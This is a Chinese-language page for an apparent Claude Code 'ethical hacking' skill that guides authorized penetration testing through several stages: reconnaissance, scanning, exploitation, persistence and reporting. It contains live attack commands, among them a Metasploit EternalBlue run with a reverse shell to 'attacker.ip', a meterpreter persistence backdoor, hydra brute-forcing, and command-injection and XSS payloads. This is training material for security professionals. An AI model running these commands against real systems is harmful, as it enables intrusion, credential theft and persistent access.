关于 ethical-hacking-methodology
面向授权渗透测试的 Skill,指导安全从业者完成侦察、扫描、漏洞分析、受控验证与报告。强调书面许可、明确范围,并要求执行主动命令前逐项确认。
主要功能
- 01渗透测试生命周期指导
- 02侦察与扫描方法
- 03漏洞分析与验证
- 04证据管理与报告
- 05授权和范围保护措施
适用场景
- 01规划经授权的安全评估
- 02组织漏洞测试和证据记录
- 03编写技术与管理层报告
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill ethical-hacking-methodology安装后在 Claude Code 中输入/ethical-hacking-methodology确认已加载。
详细介绍
⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须事先获得系统所有者明确的书面许可。 滥用此工具属于违法行为,严格禁止。
强制确认关卡 在运行任何会探测、利用、修改目标、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令前:
- 请用户说明确切的目标 URL、IP、账户或资源。
- 请用户确认已获得书面授权并说明许可范围。
- 展示确切的命令,并说明其预期效果。
- 等待用户在当前对话中明确确认。
未获得确认前,只进行只读操作,并仅提供防御性指导。优先使用沙箱、临时 VM 或受控实验室。
仅限授权使用:仅在经授权的渗透测试项目、防御性验证或受控教育环境中使用此技能。
道德黑客方法论
目的
掌握从侦察到报告的完整渗透测试生命周期。此技能涵盖道德黑客方法论的五个阶段、必备工具、攻击技术,以及针对经授权安全评估的专业报告撰写。
前提条件
所需环境
- 已安装 Kali Linux(持久安装或 Live 环境)
- 可访问经授权的目标网络
- 系统所有者提供的书面授权
所需知识
- 基本网络概念
- 熟练使用 Linux 命令行
- 了解 Web 技术
- 熟悉安全概念
输出与交付成果
- 侦察报告 - 收集到的目标信息
- 漏洞评估 - 发现的弱点
- 漏洞利用证据 - 概念验证攻击
- 最终报告 - 管理层摘要和技术发现
核心工作流
阶段 1:了解黑客类型
安全专业人员的分类:
白帽黑客(道德黑客)
- 经授权的安全专业人员
- 在获得许可的情况下进行渗透测试
- 目标:发现并修复漏洞
- 也称为:渗透测试人员、安全顾问
黑帽黑客(恶意黑客)
- 未经授权入侵系统
- 受利益、报复或恶名驱使
- 目标:窃取数据、造成损害
- 也称为:破解者、犯罪黑客
灰帽黑客(混合型)
- 可能跨越道德界限
- 并非出于恶意,但可能违反规则
- 经常公开披露漏洞
- 动机多样
其他分类
- 脚本小子:不理解原理,只使用现成工具
- 黑客行动主义者:受政治或社会因素驱动
- 国家级攻击者:由政府资助的行动人员
- 编码人员:开发工具和漏洞利用程序
阶段 2:侦察
将第三方被动研究与 DNS 查询及可能直接联系基础设施的工具区分开来。DNS 枚举和 dnsrecon 并不保证是被动的:
被动侦察
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google 黑客技术(OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google 黑客数据库类别:
- 包含密码的文件
- 敏感目录
- Web 服务器检测
- 易受攻击的服务器
- 错误消息
- 登录入口
社交媒体侦察
- LinkedIn:组织架构、使用的技术
- Twitter:公司公告、员工信息
- Facebook:个人信息、人际关系
- 招聘信息:技术栈线索
阶段 3:扫描
对目标系统进行主动枚举:
主机发现
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
端口扫描
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
服务枚举
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
常见端口参考
| 端口 | 服务 | 备注 |
|---|---|---|
| 21 | FTP | 文件传输 |
| 22 | SSH | 安全 Shell |
| 23 | Telnet | 未加密的远程连接 |
| 25 | SMTP | 电子邮件 |
| 53 | DNS | 名称解析 |
| 80 | HTTP | Web |
| 443 | HTTPS | 安全 Web |
| 445 | SMB | Windows 共享 |
| 3306 | MySQL | 数据库 |
| 3389 | RDP | 远程桌面 |
第 4 阶段:漏洞分析
识别可利用的弱点:
自动化扫描
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.
Web 应用测试(OWASP)
- SQL 注入
- 跨站脚本攻击(XSS)
- 身份验证失效
- 安全配置错误
- 敏感数据泄露
- XML 外部实体(XXE)
- 访问控制失效
- 不安全的反序列化
- 使用存在已知漏洞的组件
- 日志记录与监控不足
手动技术
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
第 5 阶段:漏洞利用
主动利用发现的漏洞:
Metasploit 框架
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
密码攻击
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web 漏洞利用
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
第 6 阶段:受控访问验证
持久化不是常规评估步骤。优先使用一次性实验环境;任何持久化模拟都需要单独明确授权、设置有效期限、保留所有者可见的痕迹,并验证清理结果。保留日志,绝不掩盖活动。
后门
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.
权限提升
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
证据保留与清理
- 记录采取的所有操作
- 保留日志以供报告使用
- 避免不必要的系统变更
- 清理测试文件和后门
第 7 阶段:报告
以专业方式记录发现:
报告结构
-
执行摘要
- 高层次发现
- 业务影响
- 风险评级
- 修复优先级
-
技术发现
- 漏洞详情
- 概念验证
- 屏幕截图/证据
- 受影响的系统
-
风险评级
- 严重:需要立即采取行动
- 高:在 24-48 小时内处理
- 中:在 1 周内处理
- 低:在 1 个月内处理
- 信息:最佳实践建议
-
修复建议
- 针对每项发现的具体修复措施
- 短期缓解措施
- 长期解决方案
- 所需资源
-
附录
- 详细扫描输出
- 工具配置
- 测试时间线
- 范围与方法
第 8 阶段:常见攻击类型
网络钓鱼
- 基于电子邮件的凭据窃取
- 虚假登录页面
- 恶意附件
- 社会工程学环节
恶意软件类型
- 病毒:可自我复制,需要宿主文件
- 蠕虫:可在网络中自我传播
- 木马:伪装成合法软件
- 勒索软件:加密文件以索要赎金
- Rootkit:隐藏的系统级访问权限
- 间谍软件:监视用户活动
网络攻击
- 中间人攻击(MITM)
- ARP 欺骗
- DNS 投毒
- DDoS(分布式拒绝服务)
第 9 阶段:Kali Linux 设置
安装渗透测试平台:
硬盘安装
- 从 kali.org 下载 ISO
- 从安装介质启动
- 选择“Graphical Install”
- 配置语言、位置和键盘
- 设置主机名和 root 密码
- 对磁盘分区(引导式——使用整个磁盘)
- 安装 GRUB 引导加载程序
- 重启并登录
Live USB(持久化)
# Create bootable USB
# Destructive: verify ISO checksum, actual device identity and backup first.
# /dev/sdb is only a placeholder; selecting a system disk destroys data.
dd if=kali-linux.iso of=/dev/VERIFIED_USB_DEVICE bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
第 10 阶段:道德准则
法律要求
- 获取书面授权
- 明确界定范围
- 记录所有测试活动
- 向客户报告所有发现
- 保守机密
专业行为
- 遵循道德规范,诚信行事
- 尊重所访问数据的隐私
- 避免不必要的系统损害
- 仅执行计划内的测试
- 绝不将发现用于个人利益
快速参考
渗透测试生命周期
| 阶段 | 目的 | 关键工具 |
|---|---|---|
| 侦察 | 收集信息 | theHarvester、WHOIS、Google |
| 扫描 | 枚举目标 | Nmap、Nikto、Gobuster |
| 漏洞利用 | 获取访问权限 | Metasploit、SQLMap、Hydra |
| 维持访问 | 持久化 | Meterpreter、SSH 密钥 |
| 报告 | 记录发现 | 报告模板 |
必备命令
| 命令 | 用途 |
|---|---|
nmap -sV target | 端口和服务扫描 |
nikto -h target | Web 漏洞扫描 |
msfconsole | 启动 Metasploit |
hydra -l user -P list ssh://target | SSH 暴力破解 |
sqlmap -u "url?id=1" --dbs | SQL 注入 |
约束和限制
需要授权
- 未获得书面许可,切勿进行测试
- 遵守定义的范围
- 报告未经授权的访问尝试
专业规范
- 遵循交战规则
- 维护客户端机密
- 记录所用方法
- 提供可执行的建议
故障排除
扫描受阻
解决方案:
- 降低扫描速率
- 检查范围、速率限制以及约定的测试源 IP
- 与所有者协调将测试源 IP 加入允许列表,或安排更安全的测试时段
- 未获得单独授权,不要绕过阻止控制
漏洞利用失败
解决方案:
- 验证目标确实存在漏洞
- 检查有效载荷兼容性
- 调整漏洞利用参数
- 尝试其他漏洞利用方式
适用场景
此技能适用于执行概述中描述的工作流或操作。